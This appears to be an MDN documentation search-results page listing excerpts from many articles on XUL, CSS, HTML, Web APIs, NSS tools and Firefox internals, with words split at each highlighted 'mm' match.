...example 2 : source view <script> function showpositionandsize() { var labelbox = document.getelementbyid('thelabel').boxobject; alert("position is (" + labelbox.x + "," + labelbox.y + ") and size is (" + labelbox.width + "," + labelbox.height + ")"); } </script> <button label="hide" onco
mmand="document.getelementbyid('thelabel').hidden = true;"/> <button label="show" onco
mmand="document.getelementbyid('thelabel').hidden = false;"/> <button label="collapse" onco
mmand="document.getelementbyid('thelabel').collapsed = true;"/> <button label="uncollapse" onco
mmand="document.getelementbyid('thelabel').collapsed = false;"/> <button label="show position/size" ...
... onco
mmand="showpositionandsize();"/> <label id="thelabel" value="i am a label"/> note that if you hide and collapse the label, it will be treated as hidden.
...And 4 more matches
Manipulating Lists - Archive of obsolete content
although listboxes may be manipulated using the standard dom functions as well, it is reco
mmended that the specialized listbox functions be used instead when possible.
...here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" onco
mmand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'.
... getting the selected item these two properties are co
mmonly inspected during a select event, as in the following example: example 2 : source view <listbox id="thelist" onselect="alert(this.selecteditem.label);"> <listitem label="short"/> <listitem label="medium"/> <listitem label="tall"/> </listbox> the select event is fired for a listbox when an item in the list is selected.
...And 4 more matches
Simple Menu Bars - Archive of obsolete content
this box contains the list of menu co
mmands.
... menuitem an individual co
mmand on a menu.
...the size of the popup will be large enough to fit the co
mmands inside it.
...And 4 more matches
XUL Event Propagation - Archive of obsolete content
the availability of event listeners is also somewhat pre-determined, though xul provide generalized event listeners (i.e., onco
mmand event listeners) for most of the elements in the widget hierarchy.
... the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onco
mmand="alert('window handler')"> <vbox> <vbox style="background-color: lightgrey;" onco
mmand="alert('box handler')"> <menu class="menu" label="file" onco
mmand="alert('menu handler')"> <menupopup> <menuitem onco
mmand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem onco
mmand="alert('close handler')" label="close" /> </menupopup> </menu...
...> <menu class="menu" label="edit"> <menupopup> <menuitem onco
mmand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="view source" /> </menupopup> </menu> </vbox> <spring flex="1" /> </vbox> </window> in this file, the lowest-down, or "leaf" elements are the menuitems.
...And 4 more matches
menuitem - Archive of obsolete content
attributes acceltext, accesskey, allowevents, autocheck, checked, closemenu, co
mmand, crop, description, disabled, image, key, label, name, selected, tabindex, type, validate, value properties accessibletype, accesskey, co
mmand, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value=...
..."3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the co
mmand.
...a workaround is to set the autocheck attribute to false, then progra
mmatically set the checked attribute when the user selects the item, and set it to false instead of removing the attribute (i.e.
...And 4 more matches
Archived open Web documentation - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a co
mmon sense approach to browser detection.
... e4x ecmascript for xml (e4x) is a progra
mming language extension that adds native xml support to javascript.
... it does this by providing access to the xml document in a form that feels natural for ecmascript progra
mmers.
...And 4 more matches
Gecko FAQ - Gecko Redirect 1
gecko enables a pioneering new class of dynamic content that is more interactive and offers greater presentation control to web developers, using open and reco
mmended internet standards instead of proprietary apis.
... by the end of calendar year 2000, gecko is expected to support the following reco
mmended open internet standards fully except for the areas noted below and open bugs documented in bugzilla: html 4.0 - full support except for: elements: bdo, basefont attributes: shape attribute on the a element, abbr, axis, headers, scope-row, scope-col, scope-rowgroup, scope-colgroup, charoff, datasrc, datafld, dataformat, datapagesize, su
mmary, event, dir, align on table columns, la...
... in a future release) style sheets css 1 - full support, except for: the application of styles to html column elements the ability to turn off author styles the names of certain mozilla extension pseudo-classes lack the moz- prefix css 2 - partial support is expected and has already been built into gecko, including support for css2 positioning, but no co
mmitment has been made to achieve a specific level of support dom level 0 level 1 core: full support making entityreferences available through dom1; per a provision of the dom1 spec for xml implementations, entities will be automatically expanded inline and therefore not available through dom1; our implementation extrapolates this provision to apply to entityreferences as we...
...And 4 more matches
Backgrounds and borders - Learn web development
the most co
mmon background-position values take two individual values — a horizontal value followed by a vertical value.
... multiple background images it is also possible to have multiple background images — you specify multiple background-image values in a single property value, separating each one with a co
mma.
... the other background-* properties can also have co
mma-separated values in the same way as background-image: background-image: url(image1.png), url(image2.png), url(image3.png), url(image4.png); background-repeat: no-repeat, repeat-x, repeat; background-position: 10px 20px, top right; each value of the different properties will match up to the values in the same position in the other properties.
...And 4 more matches
Cascade and inheritance - Learn web development
while working through this lesson may seem less i
mmediately relevant and a little more academic than some other parts of the course, an understanding of these things will save you much pain later on!
... the color has applied to the direct children, but also the indirect children — the i
mmediate child <li>s, and those inside the first nested list.
... which properties are inherited by default and which aren't is largely down to co
mmon sense.
...And 4 more matches
CSS values and units - Learn web development
in this lesson we will take a look at some of the most co
mmon values and units in use.
... unit name equivalent to cm centimeters 1cm = 96px/2.54
mm millimeters 1
mm = 1/10th of 1cm q quarter-millimeters 1q = 1/40th of 1cm in inches 1in = 2.54cm = 96px pc picas 1pc = 1/6th of 1in pt points 1pt = 1/72th of 1in px pixels 1px = 1/96th of 1in most of these values are more useful when used for print, rather than screen output.
...the only value that you will co
mmonly use is px (pixels).
...And 4 more matches
Legacy layout methods - Learn web development
previous overview: css layout next grid systems are a very co
mmon feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...proin blandit quam nec lacus varius co
mmodo et a urna.
...And 4 more matches
What’s in the head? Metadata in HTML - Learn web development
instead, we'll explain a few things that you might co
mmonly see, just to give you an idea.
...for example, the keyword <meta> element (<meta name="keywords" content="fill, in, your, keywords, here">) — which is supposed to provide keywords for search engines to determine relevance of that page for different search terms — is ignored by search engines, because spa
mmers were just filling the keyword list with hundreds of keywords, biasing results.
...the most co
mmonly used of these is the favicon (short for "favorites icon", referring to its use in the "favorites" or "bookmarks" lists in browsers).
...And 4 more matches
Responsive images - Learn web development
this is co
mmonly known as the art direction problem.
...each value contains a co
mma-separated list, and each part of those lists is made up of three sub-parts.
...each set of image information is separated from the previous one by a co
mma.
...And 4 more matches
Video and audio content - Learn web development
a webm file containing a movie which has a main video track and one alternate angle track, plus audio for both english and spanish, in addition to audio for an english co
mmentary track can be conceptualized as shown in the diagram below.
... also included are text tracks containing closed captions for the feature film, spanish subtitles for the film, and english captions for the co
mmentary.
...one such instance is the flac codec, which is stored most co
mmonly in flac files, which are just raw flac tracks.
...And 4 more matches
Introducing asynchronous JavaScript - Learn web development
when you fetch an image from a server, you can't return the result i
mmediately.
...using callbacks is slightly old-fashioned now, but you'll still see them in use in a number of older-but-still-co
mmonly-used apis.
... when we pass a callback function as an argument to another function, we are only passing the function's reference as an argument, i.e, the callback function is not executed i
mmediately.
...And 4 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
introduction for a long time, the web platform has offered javascript progra
mmers a number of functions that allow them to asynchronously execute code after a certain time interval has elapsed, and to repeatedly execute a block of code asynchronously until you tell it to stop.
...(see the note below on why it runs "as soon as possible" and not "i
mmediately".) more on why you might want to do this later.
... as a consequence, code like settimeout(fn, 0) will execute as soon as the stack is empty, not i
mmediately.
...And 4 more matches
Build your own function - Learn web development
we'd reco
mmend you doing this exercise in a modern browser like firefox, opera, or chrome.
... try including the following line below your function to call it: displaymessage(); this line invokes the function, making it run i
mmediately.
... when you save your code and reload it in the browser, you'll see the little message box appear i
mmediately, only once.
...And 4 more matches
Functions — reusable blocks of code - Learn web development
previous overview: building blocks next another essential concept in coding is functions, which allow you to store a piece of code that does a single task inside a defined block, and then call that code whenever you need it using a single short co
mmand — rather than having to type out the same code multiple times.
... pretty much anytime you make use of a javascript structure that features a pair of parentheses — () — and you're not using a co
mmon built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function.
... functions versus methods progra
mmers call functions that are part of objects methods.
...And 4 more matches
Client-side storage - Learn web development
they're the earliest form of client-side storage co
mmonly used on the web.
...however, this does not mean cookies are completely useless on the modern-day web — they are still used co
mmonly to store data related to user personalization and state, e.g.
...the co
mments explain in detail what each bit does, but in essence here we are taking the name the user has entered into the text input box and saving it in web storage using setitem(), then running a function called namedisplaycheck() that will handle updating the actual website text.
...And 4 more matches
Drawing graphics - Learn web development
previous overview: client-side web apis next the browser contains some very powerful graphics progra
mming tools, from the scalable vector graphics (svg) language, to apis for drawing on html <canvas> elements, (see the canvas api and webgl).
...the web still had no way to effectively create animations, games, 3d scenes, and other requirements co
mmonly handled by lower level languages such as c++ or java.
... we'll be using some co
mmon methods and properties across all of the below sections: beginpath() — start drawing a path at the point where the pen currently is on the canvas.
...And 4 more matches
Video and Audio APIs - Learn web development
this article shows you how to do co
mmon tasks such as creating custom playback controls.
...if you don't specify this, you get no playback controls: this is not as i
mmediately useful for video playback, but it does have advantages.
... you can solve both these problems by hiding the native controls (by removing the controls attribute), and progra
mming your own with html, css, and javascript.
...And 4 more matches
Storing the information you need — Variables - Learn web development
for these reasons and more, we reco
mmend that you use let as much as possible in your code, rather than var.
... note: you can find a fairly complete list of reserved keywords to avoid at lexical gra
mmar — keywords.
...you don't need to declare variable types in javascript, unlike some other progra
mming languages.
...And 4 more matches
Componentizing our React app - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
... that second bullet is especially valuable: making a component out of co
mmon ui elements allows you to change your code in one place and see those changes everywhere that component is used.
...the following co
mmands make a components directory and then, within that, a file called todo.js.
...And 4 more matches
Getting started with Vue - Learn web development
prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line.
...it is reco
mmended that you specify a version number when including vue on your site so that any framework updates do not break your live site without you knowing.) <script src="/static/external/29/29296ccacaa9ed35ed168fc51e36f54fd6f8db9c7786bbf38cc59a27229ba5c2.svg"></script> however, this approach has some limitations.
... to install the cli, run the following co
mmand in your terminal: npm install --global @vue/cli or if you'd prefer to use yarn: yarn global add @vue/cli once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>.
...And 4 more matches
Git and GitHub - Learn web development
different team members will co
mmonly want to create their own separate versions of the code (called branches in git), work on a new feature in that version, and then get it merged in a controlled manner (in github we use pull requests) with the master version when they are done with it.
...depending on how you like to work, you could use a git gui client (we'd reco
mmend github desktop, sourcetree or git kraken) or just stick to using a terminal window.
... in fact, it is probably useful for you to get to know at least the basics of git terminal co
mmands, even if you intend to use a gui.
...And 4 more matches
Accessibility Features in Firefox
in fact, the same keyboard co
mmands are still available, so users can become comfortable and productive right away.
...a "smart keywords" feature enhances this even further by allowing custom searches from the co
mmand line such as "word punditry" to look up the word "punditry" in an online dictionary.
...chen is a screen reader extension built just for firefox which can read mathml co
mmunity contributions the real reason behind firefox's success is the great co
mmunity of volunteers and organizations that realize they have something to benefit from a browser open to utilizing their ideas and hard work.
...And 4 more matches
What to do and what not to do in Bugzilla
before you have canconfirm, you can still do good triaging by leaving co
mments with useful information on the bug that will help to confirm it.
... the same is true for editbugs: leave co
mments with the information you'd like to be able to edit into the bug, and that will help you get the editbugs permissions quickly.
...if there are only a few co
mments in the bug, it may be reopened only if the original reporter provides more info, or confirms someone else's steps to reproduce.
...And 4 more matches
Frame script loading and lifetime
the script just writes "foo" to the co
mmand line: // chrome script var
mm = gbrowser.selectedbrowser.messagemanager;
mm.loadframescript('data:,dump("foo\\n")', true); loadframescript() takes two mandatory parameters: a url that points to the frame script you want to load a boolean flag, allowdelayedload note: if the message manager is a global frame message manager or a window message manager, loadframescript() may load the script multiple times, once in each applicable frame.
... to define the mapping between a chrome:// url and a frame script packaged with an extension, use a "chrome.manifest" file to register a chrome url: // chrome.manifest content my-e10s-extension chrome/content/ // chrome script
mm.loadframescript("chrome://my-e10s-extension/content/content.js", true); allowdelayedload if the message manager is a global frame message manager or a window message manager then: if allowdelayedload is true, the frame script will be loaded into any new frame, which has opened after the loadframescript() call.
... for example: var
mm = window.messagemanager;
mm.loadframescript("chrome://my-e10s-extension/content/frame-script.js", true); the script will be loaded into all tabs currently open in this window, and all new tabs opened afterwards.
...And 4 more matches
Performance
performance best practices declaring stateless functions once per process bad: // addon.js services.
mm.loadframescript("framescript.js", true) // framescript.js const precomputedconstants = // ...
... store heavyweight state once per process bad: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.
mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // framescript.js var maincopy; function onupdate(message) { maincopy = myaddonservice.deserialize(message.data.newconfig); } addmessagelistener("my-addon:update-configuration", onupdate) // maincopy used by other functions the main issue here is that a separate object is kept for each tab.
... better: // addon.js var main = new myaddonservice(); main.onchange(statechange); function statechange() { services.pp
mm.broadcastasyncmessage("my-addon:update-configuration", {newconfig: main.serialize()}) } // processmodule.jsm const exported_symbols = ['getmaincopy']; var maincopy; services.cp
mm.addmessagelistener("my-addon:update-configuration", function(message) { maincopy = message.data.newconfig; }) funtion getmaincopy() { return maincopy; } // framescript.js components.utils.import("resource://my-addon/processmodule.jsm") // getmaincopy() used by other functions don't register observers (and other callbacks to global...
...And 4 more matches
HTML parser threading
nshtml5atom objects are guaranteed to be i
mmutable and to stay alive for the lifetime of the parser instance, so it's safe for the main thread to call their methods (as is necessary to find the corresponding normal atom).
...this method returns i
mmediately if another invocation of it is already on the call stack (nested event loop case).
...parser termination is checked before each tree op for an early return, because, unfortunately, gecko expects parsers to be able to terminate i
mmediately.
...And 4 more matches
DeferredTask.jsm
void start(); flush obsolete since gecko 28 perform any postponed task i
mmediately.
...the "finalize" method can be used in the co
mmon case of waiting for completion on shutdown.
... if the task is running and the timer is armed, then one last execution from start to finish will happen again, i
mmediately after the current execution terminates; then the returned promise will be resolved.
...And 4 more matches
Mozilla Web Developer FAQ
the point of having a co
mmon api (the w3c dom) is interoperability, and checking for a particular browser defeats that purpose.
... contrary to a popular belief ste
mming from the behavior of a couple browsers running on the windows platform, alt isn’t an abbreviation for ‘tooltip’ but for ‘alternative’.
... authors are supposed to co
mmunicate their intentions using the web standards.
...And 4 more matches
Leak-hunting strategies and tips
strategy for finding leaks when trying to make a particular testcase not leak, i reco
mmend focusing first on the largest object graphs (since these entrain many smaller objects), then on smaller reference-counted object graphs, and then on any remaining individual objects or small object graphs that don't entrain other objects.
...(or allocations?) all tier 1 platforms build with --enable-trace-malloc leak tools for simple objects and su
mmary statistics tracemalloc all allocations all tier 1 platforms build with --enable-trace-malloc valgrind all allocations mac, linux build with --enable-valgrind and some other options lsan all allocations mac, linux any build apple tools ?
... build with --enable-trace-malloc co
mmon leak patterns when trying to find a leak of reference-counted objects, there are a number of patterns that could cause the leak: ownership cycles.
...And 4 more matches
Memory reporting
each reporter implements a collectreports function which takes a nsimemoryreportercallback argument; for each measurement the reporter must pass in several values, including: a path (which identifies the report); an amount (the most important thing); a unit (most co
mmonly bytes, but sometimes a unitless count or percentage); a description of what is measured.
... size_t mystring::sizeofexcludingthis(mozilla::mallocsizeof amallocsizeof) const { return amallocsizeof(mbuffer); } size_t mystring::sizeofincludingthis(mozilla::mallocsizeof amallocsizeof) const { return amallocsizeof(this) + sizeofexcludingthis(amallocsizeof); } (note that sizeofexcludingthis and sizeofincludingthis aren't overrides of methods on a global base class that is co
mmon to all reporters.
... these names are just a convention that is co
mmonly followed.
...And 4 more matches
TimerFirings logging
interface and observer timers only have an address, which is less useful, but they are unco
mmon enough that this usually doesn't matter much.
... first, on mac the code uses dladdr to get the name i
mmediately, and the output will look like the following.
...indicates that the function timer lacks an explicit name, and the co
mment within the square brackets explains why the fallback mechanism wasn't used.
...And 4 more matches
powermetrics
powermetrics is a mac-only co
mmand-line utility that provides many high-quality power-related measurements.
... it is most useful for getting cpu, gpu and wakeup measurements in a precise and easily scriptable fashion (unlike activity monitor and top) especially in combination with rapl via the mach power co
mmand.
...the following co
mmand encompasses the most useful ones: sudo powermetrics --samplers tasks --show-process-coalition --show-process-gpu -n 1 -i 5000 --samplers tasks tells it to just do per-process measurements.
...And 4 more matches
Performance
the "leaks" tool is not reco
mmended for use with spidermonkey or firefox, because it gets confused by tagged pointers and thinks objects have leaked when they have not (see bug 390944).
... investigating css performance how to figure out why restyle is taking so long power profiling power profiling overview this page provides an overview of relevant information, including details about hardware, what can be measured, and reco
mmended approaches.
... tools/power/rapl (mac, linux) tools/power/rapl is a co
mmand-line utility in the mozilla codebase that uses the intel rapl interface to gather direct power estimates for the package, cores, gpu and memory.
...And 4 more matches
NSS FAQ
because nss provides complete support for all versions of ssl and tls, it is particularly well-suited for applications that need to co
mmunicate with the many clients and servers that already support the ssl protocol.
... nss was designed from the ground up for use by co
mmercial developers.
... this section is out of date iplanet e-co
mmerce solutions has certified nss 3.1 on 18 platforms, including aix 4.3, hp-ux 11.0, red hat linux 6.0, solaris (2.6 or later), windows nt (4.0 or later), and windows 2000.
...And 4 more matches
NSS API Guidelines
these rules are here to help us all i
mmediately achieve more consistent and usable code, but some existing code won't follow all these rules.
... high cert lib/certhigh ocsp.h, ocspt.h crmf provides functions, and data types, to handle certificate management message format (c
mmf) and certificate request message format (crmf, see rfc 2511) data.
... c
mmf no longer exists as a proposed standard; c
mmf functions have been incorporated into the proposal for certificate management protocols (cmp).
...And 4 more matches
NSS tools : pk12util
name pk12util — export and import keys and certificate to or from a pkcs #12 file and the nss database synopsis pk12util [-i p12file [-h tokenname] [-v] [co
mmon-options] ] [ -l p12file [-h tokenname] [-r] [co
mmon-options] ] [ -o p12file -n certname [-c keycipher] [-c certcipher] [-m|--key_len keylen] [-n|--cert_key_len certkeylen] [co
mmon-options] ] [ co
mmon-options are: [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] ] description the pkcs #12 utility, pk12util, enables sharing certificates among any server that supports pkcs#12.
...changing the names of the certificate and key databases is not reco
mmended.
... -m | --key-len keylength specify the desired length of the sy
mmetric key to be used to encrypt the private key.
...And 4 more matches
Scripting Java
we can also aid our java development by using scripting for exploratory progra
mming.
... exploratory progra
mming is the process of learning about what a library or api can do by writing quick programs that use it.
... note that the ecma standard doesn't cover co
mmunication with java (or with any external object system for that matter).
...And 4 more matches
Rebranding SpiderMonkey (1.8.5)
after installing the build pre-requisites and downloading the spidermonkey source tarball issue the following co
mmands at the terminal: cd js/src autoconf-2.13 for the remainder of this document wherever you see the text $brand you will substitute that text with the name of your brand.
...the only required part in this step is the ../configure co
mmand.
...in the unix world we would issue the following co
mmand: find ./ -type f -exec sed -i "s/mozjs185/$brand/" {} \; windows users: notepad++ can be used to perform the recursive find and replace text operation.
...And 4 more matches
SpiderMonkey Internals
but since js-to-c-to-js call stacks are co
mmon, the interpreter is reentrant.
...co
mmon cases are inlined in the interpreter loop, breaking any abstractions that stand in the way.
...it translates postfix bytecode into infix source by consulting a separate byte-sized code, called source notes, to disambiguate bytecodes that result from more than one gra
mmatical production.
...And 4 more matches
MailNews fakeserver
fakeserver is a testing server that implements a generic text-based protocol co
mmon to all major mailnews protocols (pop, imap, smtp, and nntp) designed for use in automated tests.
...it utilizes utf-8 as its transport mechanism and is capable of performing proper pipelining of co
mmands.
...a handler will contain the following methods: <caption> handler methods </caption> name arguments returns notes [co
mmand] rest of sent line server's response the name is normalized to be uppercase.
...And 4 more matches
URLs - Plugins
the table below su
mmarizes urls supported by gecko.
... note that npn_geturl is typically asynchronous: it returns i
mmediately and only later handles the request, such as displaying the url or creating the stream for the instance and writing the data.
...for some reco
mmendations to help you with target parameter choice, see the reference entry for npn_geturl.
...And 4 more matches
DOM Inspector internals - Firefox Developer Tools
at the top of each panel is a toolbar which contains a menu button allowing you to choose which viewer to display from the viewer list, a label displaying the name of the currently active viewer, and another menu button allowing you to issue viewer-specific co
mmands.
...its contents should resemble the following: extensions/ … jsutil/ … prefs/ … res/ … tests/ … viewers/ … browseroverlay.xul co
mmandoverlay.xul editingoverlay.xul flasher.js hooks.js inspector.css inspector.js inspectoroverlay.xul inspector.xml inspector.xul keysetoverlay.xul object.js object.xul popupoverlay.xul sidebar.js sidebar.xul statusbaroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul toolboxoverlay.xul utils.j...
...e overlays are: browseroverlay.xul tasksoverlay-cz.xul tasksoverlay-ff.xul tasksoverlay-mobile.xul tasksoverlay-sb.xul tasksoverlay-tb.xul tasksoverlay.xul venkmanoverlay.xul prefs/prefsoverlay.xul further examination of the chrome manifest will reveal that dom inspector also uses conditional overlays on its primary window: overlay chrome://inspector/content/inspector.xul chrome://co
mmunicator/content/utilityoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://co
mmunicator/content/tasksoverlay.xul application={92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a} overlay chrome://inspector/content/inspector.xul chrome://browser/content/basemenuoverlay.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} these host-provid...
...And 4 more matches
Using Fetch - Web APIs
a headers object is a simple multi-map of names to values: const content = 'hello world'; const myheaders = new headers(); myheaders.append('content-type', 'text/plain'); myheaders.append('content-length', content.length.tostring()); myheaders.append('x-custom-header', 'processthisi
mmediately'); the same can be achieved by passing an array of arrays or an object literal to the constructor: const myheaders = new headers({ 'content-type': 'text/plain', 'content-length': content.length.tostring(), 'x-custom-header': 'processthisi
mmediately' }); the contents can be queried and retrieved: console.log(myheaders.has('content-type')); // true console.log(myheaders.has('set...
...-cookie')); // false myheaders.set('content-type', 'text/html'); myheaders.append('x-custom-header', 'anothervalue'); console.log(myheaders.get('content-length')); // 11 console.log(myheaders.get('x-custom-header')); // ['processthisi
mmediately', 'anothervalue'] myheaders.delete('x-custom-header'); console.log(myheaders.get('x-custom-header')); // [ ] some of these operations are only useful in serviceworkers, but they provide a much nicer api for manipulating headers.
...the mutation operations will throw a typeerror if there is an i
mmutable guard (see below).
...And 4 more matches
HTMLInputElement - Web APIs
for
mmethod string: returns / sets the element's for
mmethod attribute, containing the http method that the browser uses to submit the form.
... properties that apply only to elements of type file accept string: returns / sets the element's accept attribute, containing co
mma-separated list of file types accepted by the server when type is file.
...when there's no selection, this returns the offset of the character i
mmediately following the current text input cursor position.
...And 4 more matches
HTMLMediaElement - Web APIs
the htmlmediaelement interface adds to htmlelement the properties and methods needed to support basic media-related capabilities that are co
mmon to audio and video.
...a group of media elements shares a co
mmon mediacontroller.
...this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-co
mmunications.
...And 4 more matches
HTMLScriptElement - Web APIs
if neither attribute is present, then the script is fetched and executed i
mmediately, blocking further parsing of the page.
... htmlscriptelement.text is a domstring that joins and returns the contents of all text nodes inside the <script> element (ignoring other nodes like co
mments) in tree order.
... examples dynamically importing scripts let's create a function that imports new scripts within a document creating a <script> node i
mmediately before the <script> that hosts the following code (through document.currentscript).
...And 4 more matches
The HTML DOM API - Web APIs
support for interacting with the user by examining focus and by executing co
mmands on editable content.
... the htmlelement interface is generic, however, providing only the functionality co
mmon to all html elements such as the element's id, its coordinates, the html making up the element, information about scroll position, and so forth.
... there are elements that share co
mmonalities and thus have an additional intermediary type.
...And 4 more matches
Performance - Web APIs
specifications specification status co
mment high resolution time level 2the definition of 'performance' in that specification.
... reco
mmendation defines tojson() method.
... reco
mmendation defines now() method.
...And 4 more matches
RTCIceCandidateStats.relayProtocol - Web APIs
the rtcicecandidatestats dictionary's relayprotocol property specifies the protocol being used by a local ice candidate to co
mmunicate with the turn server.
... syntax relayprotocol = rtcicecandidatestats.relayprotocol; value a domstring identifying the protocol being used by the endpoint to co
mmunicate with the turn server.
... the possible values are: tcp tcp (transport control protocol) is being used to co
mmunicate with the turn server.
...And 4 more matches
SVGSVGElement - Web APIs
this interface contains also various miscellaneous co
mmonly-used utility methods, such as matrix operations and the ability to control the time of redraw on visual rendering devices.
...when the browser actually knows the physical size of a "screen unit", this float attribute will express that information; otherwise, user agents will provide a suitable default value (such as .28
mm).
... svgsvgelement.forceredraw() in rendering environments supporting interactivity, forces the user agent to i
mmediately redraw all regions of the viewport that require updating.
...And 4 more matches
TextRange - Web APIs
textrange.execco
mmand() executes a co
mmand on the current document, the current selection, or the given scope.
... textrange.queryco
mmandenabled() returns a boolean indicating whether the specified co
mmand can be executed successfully with the execco
mmand method in the current state of the given document.
... you can also see document.queryco
mmandenabled().
...And 4 more matches
WebGLRenderingContext.getError() - Web APIs
the co
mmand is ignored and the error flag is set.
...the co
mmand is ignored and the error flag is set.
... gl.invalid_operation the specified co
mmand is not allowed for the current state.
...And 4 more matches
WebGLRenderingContext - Web APIs
webglrenderingcontext.co
mmit() pushes frames back to the original htmlcanvaselement, if the context is not directly fixed to a specific canvas.
... webglrenderingcontext.unifor
mmatrix[234]fv() specifies a matrix value for a uniform variable.
... webglrenderingcontext.finish() blocks execution until all previously called co
mmands are finished.
...And 4 more matches
Window.open() - Web APIs
windowfeatures optional a domstring containing a co
mma-separated list of window features given with their corresponding values in the form "name=value".
... note that remote urls won't load i
mmediately.
... window features windowfeatures is an optional string containing a co
mma-separated list of requested features of the new window.
...And 4 more matches
XRSessionMode - Web APIs
values i
mmersive-ar the session's output will be given exclusive access to the i
mmersive device, but the rendered content will be blended with the real-world environment.
... important: the i
mmersive-ar mode is defined by the webxr augmented reality module, which is not yet stable and should not be used other than for testing and experimentation.
... i
mmersive-vr indicates that the rendered session will be displayed using an i
mmersive xr device in vr mode; it is not intended to be overlaid or integrated into the surrounding environment.
...And 4 more matches
:empty - CSS: Cascading Style Sheets
co
mments, processing instructions, and css content do not affect whether an element is considered empty.
...--></div> <div class="box">i will be pink.</div> <div class="box"> <!-- i will be pink in older browsers because of the whitespace around this co
mment.
... --> </div> <div class="box"> <p><!-- i will be pink in all browsers because of the non-collapsible whitespace and elements around this co
mment.
...And 4 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
</p> <p> ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat.
...And 4 more matches
OpenType font features guide - CSS: Cascading Style Sheets
some fonts will have one or more of these features enabled by default (kerning and default ligatures are co
mmon examples), while others are left to the designer or developer to choose to enable in specific scenarios.
...this is generally on by default (as reco
mmended by the opentype specification).
...some of the most co
mmon are letters like 'fi', 'fl', or 'ffl' — but there are many other possibilities.
...And 4 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
to simplify the development process, web developers often use a css reset style sheet, forcing co
mmon properties values to a known state before beginning to make alterations to suit their specific needs.
... author stylesheets author stylesheets are the most co
mmon type of style sheet.
... all lets you opt to i
mmediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.
...And 4 more matches
display - CSS: Cascading Style Sheets
ty of flexbox typical use cases of flexbox display: grid basic concepts of grid layout relationship to other layout methods line-based placement grid template areas layout using named grid lines auto-placement in grid layout box alignment in grid layout grids, logical values and writing modes css grid layout and accessibility css grid layout and progressive enhancement realizing co
mmon layouts using grids accessibility concerns display: none using a display value of none on an element will remove it from the accessibility tree.
... specifications specification status co
mment css display module level 3the definition of 'display' in that specification.
... candidate reco
mmendation added run-in, flow, flow-root, contents, and multi-keyword values.
...And 4 more matches
font-family - CSS: Cascading Style Sheets
values are separated by co
mmas to indicate that they are alternatives.
...space; font-family: cursive; font-family: fantasy; font-family: system-ui; font-family: ui-serif; font-family: ui-sans-serif; font-family: ui-monospace; font-family: ui-rounded; font-family: emoji; font-family: math; font-family: fangsong; /* global values */ font-family: inherit; font-family: initial; font-family: unset; the font-family property lists one or more font families, separated by co
mmas.
...it also applies to ::first-letter and ::first-line.inheritedyescomputed valueas specifiedanimation typediscrete formal syntax [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace examples some co
mmon font families .serif { font-family: times, times new roman, georgia, serif; } .sansserif { font-family: verdana, arial, helvetica, sans-serif; } .monospace { font-family: lucida console, courier, monospace; } .cursive { font-family: cursive; } .fantasy { font-family: fantasy; } .emoji { font-family: emoji; } .math { font-family: math; } .fangsong { font-family: fangsong;...
...And 4 more matches
font-weight - CSS: Cascading Style Sheets
certain co
mmonly used values correspond to co
mmon weight names, as described in the co
mmon weight name mapping section below.
... inherited value bolder lighter 100 400 100 200 400 100 300 400 100 400 700 100 500 700 100 600 900 400 700 900 400 800 900 700 900 900 700 co
mmon weight name mapping the numerical values 100 to 900 roughly correspond to the following co
mmon weight names (see the opentype specification): value co
mmon weight name 100 thin (hairline) 200 extra light (ultra light) 300 light 400 normal (regular) 500 medium 600 semi bold (demi bold) 700 bold ...
... 800 extra bold (ultra bold) 900 black (heavy) 950 extra black (ultra black) variable fonts most fonts have a particular weight which corresponds to one of the numbers in co
mmon weight name mapping.
...And 4 more matches
<input type="tel"> - HTML: Hypertext Markup Language
value a domstring representing a telephone number, or empty events change and input supported co
